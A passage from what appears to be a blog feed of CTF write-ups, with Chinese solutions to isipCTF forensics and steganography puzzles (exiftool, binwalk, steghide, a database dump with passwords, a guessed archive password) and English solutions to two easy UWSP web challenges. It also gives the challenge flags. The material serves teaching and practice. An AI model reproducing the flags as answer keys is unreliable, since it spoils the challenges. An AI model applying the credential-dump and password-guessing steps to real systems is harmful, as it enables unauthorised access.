<h3>Metadata 元資料 [80]</h3>
<pre><code>內容：檔案的元資料總是可以更改。你能找到那面旗幟嗎？
提示：1. 檢視圖片檔案元資料詳細內容 2. 運用線上 base64decode.org 解開 base64 編碼
Key 格式：CTF{ }
</code></pre>
<p>題目附加檔案：<code>rabbit-6.jpg</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ exiftool rabbit-6.jpg
...
XP Keywords  : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
Subject      : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
</code></pre>
<p>找到 base64 編碼字串後解碼得到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9" | base64 -d
CTF{2024 9/25 1500 左營高鐵7-11見}
</code></pre>
<p>Flag: <code>CTF{2024 9/25 1500 左營高鐵7-11見}</code></p>
<hr />
<h3>黑與白 [100]</h3>
<pre><code>黑白之間，藏有重要資訊，請將他找出來吧。
Key 格式：CTF{ }
</code></pre>
<p>題目給了 base64 編碼過的圖片資料，解碼後得到 QR code。</p>
<img src="https://hackmd.io/_uploads/BkQcml4Vle.png" alt="image" />
<p>拿去線上掃描或手機掃描即可得到 flag。</p>
<p>Flag: <code>CTF{OKS5543/891HHFR}</code></p>
<hr />
<h3>Doraemons 俄羅斯娃娃 [100]</h3>
<pre><code>提示：在 Kali Linux 中應用 binwalk 尋找 Doraemons.jpg 中的 Key。
Key 格式：isipCTF{AABBCCDD}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ binwalk Doraemons.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             JPEG image data, JFIF standard 1.01
18043         0x467B          Zip archive data ... name: 2_with_3.jpg
37726         0x935E          End of Zip archive
</code></pre>
<p>使用 <code>binwalk -e</code> 一路解到底，最終在最深層找到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ strings 4_with_flag.jpg | grep CTF
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

# 或直接 cat 最底層的 flag.txt
xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ cat flag.txt
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}
</code></pre>
<p>Flag: <code>isipCTF{336cf6d51c9d9774fd37196c1d7320ff}</code></p>
<hr />
<h3>小熊維尼 Winnie [100]</h3>
<pre><code>密碼為：isip2024
使用工具：https://futureboy.us/stegano/decinput.html
Key 格式：CTF{您的答案}
</code></pre>
<p>使用 steghide 提取隱藏資料：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ steghide extract -sf winnie-the-poohsteg.jpg
Enter passphrase:
wrote extracted data to "steganopayload147315.txt".
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat steganopayload147315.txt
Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==" | base64 -d
CTF{The Many Adventures of Winnie the Pooh}
</code></pre>
<p>Flag: <code>CTF{The Many Adventures of Winnie the Pooh}</code></p>
<hr />
<h3>尋找線索 [100]</h3>
<pre><code>小明刑警從駭客筆電中找到了一個可疑檔案，懷疑檔案內容中有重要線索，您能幫忙找出來嗎？
本題答案由兩組字串組成 Key 格式：CTF{您的答案1+您的答案2}
</code></pre>
<p>題目附加檔案：<code>SXB.zip</code>，解壓後得到 <code>AccessControl.rar</code> 和 <code>HRdb.mdb</code>。</p>
<p><code>AccessControl.rar</code> 有密碼，先從 <code>HRdb.mdb</code> 下手：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-tables HRdb.mdb
員工名單 檔案資訊
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-export HRdb.mdb 檔案資訊
NO,EMPID,Account,Pwd,FilePWD
"TG001","EM348","Paul","ZTSW1E","pvYp8se247"
"TG002","HB035","Tony","nBUGV8","bFE8ek5133"
"TG005","HB084","Peter","BoUEvZ","WQ6f6f3859"
"TG003","HB407","Amy","TqyHyG","ylhpakj152"
"TG004","HB720","Yvonne","ag1WVK","aRwt9nb020"
"TG006","HB922","Rich","UCuOPE","qGF7tag158"
</code></pre>
<p>暴力嘗試後得到壓縮檔密碼 <code>WQ6f6f3859</code>，解壓得到 <code>Access Control.pst</code>。</p>
<p>使用線上工具 <a href="https://goldfynch.com/pst-viewer/" rel="noopener noreferrer" target="_blank">https://goldfynch.com/pst-viewer/</a> 開啟後找到 flag。</p>
<img src="https://hackmd.io/_uploads/rJkCPgEEee.png" alt="image" />
<p>Flag: <code>CTF{security+4Cc3ssC0ntr0ller}</code></p>]]></content>
    <category term="CTF" />
    <category term="Writeup" />
  </entry>
  <entry>
    <title>UWSP Pointer Overflow CTF writeup</title>
    <link href="https://www.xzhiyouu.me/posts/uwsp-pointer-overflow-ctf-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/uwsp-pointer-overflow-ctf-writeup</id>
    <updated>2024-11-12T00:00:00.000Z</updated>
    <published>2024-11-12T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.pp8TYf1n_Z2jyFIO.webp" alt="UWSP Pointer Overflow CTF writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2121/" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2121/</a></h4>
<blockquote><ul>
<li>player: xzhiyouu</li>
</ul></blockquote>
<h2>Web 100 - The Way Out is Through</h2>
<ul>
<li>
<h3>Problem description</h3>
</li>
</ul>
<img src="https://hackmd.io/_uploads/SJeNxC1Mkl.png" alt="solve" />
<p>The question provided a link, so I clicked on it, but there was nothing there.
<img src="https://hackmd.io/_uploads/S1g-rRnyMye.png" alt="101" />
So I switched to the source code to look at it, and found that the flag seemed to be divided into five parts.</p>
<pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
    &lt;title&gt;TTiOT&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Not Found&lt;/h1&gt;
    &lt;p&gt;The requested URL /snazzy-dump-pics.html was not found on this server.&lt;/p&gt;
    &lt;hr /&gt;
    &lt;p&gt;&lt;i&gt;Apache/1.1.3 (Ubuntu) Server at localhost Port 1337&lt;/i&gt;&lt;/p&gt;

    &lt;script&gt;
      let part_1 = [112, 111, 99, 116].map((x) =&gt; String.fromCharCode(x)).join('')
      let part_2 = atob('Znt1d3NwXw==')
      let part_3 = 'document.cookie'
      let part_4 = 'XzdydTdoXw=='
      let part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d]

      console.log('The Tooth is Over There.')
      document.cookie = '\u0037\u0068\u0033'
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>let part_1 = [112, 111, 99, 116].map(x =&gt; String.fromCharCode(x)).join('');
</code></pre>
<p>This line converts each number in <strong>[112, 111, 99, 116]</strong> to a character (ASCII values).<br />
So the result of part_1 will be <code>poct</code><br /></p>
<pre><code>let part_2 = atob("Znt1d3NwXw==");
</code></pre>
<p>This part uses atob() to decode a Base64 string<br />
The result of part*2 will be <code>f{uwsp*</code><br /></p>
<pre><code>let part_3 = "document.cookie";
</code></pre>
<p>This sets a cookie value in document.cookie using Unicode escape sequences.<br />We can see the value of document.cookie below.</p>
<pre><code>document.cookie = "\u0037\u0068\u0033";
</code></pre>
<p>The result of part_3 will be <code>7h3</code></p>
<pre><code>let part_4 = "XzdydTdoXw==";
</code></pre>
<p>Just another Base64 string to decode.<br />
The result of part*4 will be <code>\_7ru7h*</code><br /></p>
<pre><code>part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d];
</code></pre>
<p>This is an array of hexadecimal values representing ASCII characters.<br />
The result of part_5 will be <code>15_0u7_7h3r3}</code><br /></p>
<p>So just put all the broken flags together to get the final answer.
<code>poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}</code></p>
<h2>Web 100 - Giving Up the Game</h2>
<ul>
<li>
<h3>Problem description</h3>
<img src="https://hackmd.io/_uploads/SyiPeCyzyx.png" alt="solve2" /></li>
</ul>
<p>It’s also a Web question type…<br />
You will see a game called Space Adventure starting up and spinning for a long time.<br />
<img src="https://hackmd.io/_uploads/B1b2g0kf1g.png" alt="link" />
We check the source code first.<br />
So I got this.<br /></p>
<pre><code>&lt;body&gt;
  &lt;div class="loading-container"&gt;
    &lt;div id="loading-text"&gt;Loading Space Adventure... Please wait.&lt;/div&gt;

    &lt;div class="loading-bar-container"&gt;
      &lt;div class="loading-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;

    &lt;div class="loading-spinner"&gt;&lt;/div&gt;

    &lt;div class="fake-tips"&gt;Tip: Collect all power-ups to upgrade your ship! 💥&lt;/div&gt;
  &lt;/div&gt;

  &lt;script&gt;
    const tips = [
      'Tip: Collect all power-ups to upgrade your ship! 💥',
      'Tip: Watch out for asteroids in Sector 7! 🪨',
      'Tip: Shields down! Restore power to your defenses! ⚡',
      'Tip: New ship parts available at the space station! 🚀',
      'Tip: Find the hidden treasure on Planet Zog! 🌌',
    ]

    let tipIndex = 0
    const tipElement = document.querySelector('.fake-tips')

    setInterval(() =&gt; {
      tipIndex = (tipIndex + 1) % tips.length
      tipElement.textContent = tips[tipIndex]
    }, 7000) // Change tips every 7 seconds
    fetch('/getSprites')
      .then((response) =&gt; response.json())
      .then((data) =&gt; {
        console.log('VGhhbmsgeW91IE1hcmlvISBCdXQgb3VyIHByaW5jZXNzIGlzIGluIGFub3RoZXIgY2FzdGxlIQ==')
      })
  &lt;/script&gt;
&lt;/body&gt;
</code></pre>
<p>I saw a string at the bottom that looked like Base64, so I took it to decode it.<br />
The result will be: <code>Thank you Mario! But our princess is in another castle!</code><br />
Okay, this doesn’t look like a flag.<br />
After carefully checking the code, I found a path called <code>/getSprites</code><br />
Entering the page, I got another string of Base64<br />
<code>cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0=</code><br />
Okay, let’s take it to the decoder to decode it.<br />
Then I got the right flag!<br />
<code>poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}</code></p>]]></content>
    <category term="CTF" />
  </entry>
</feed>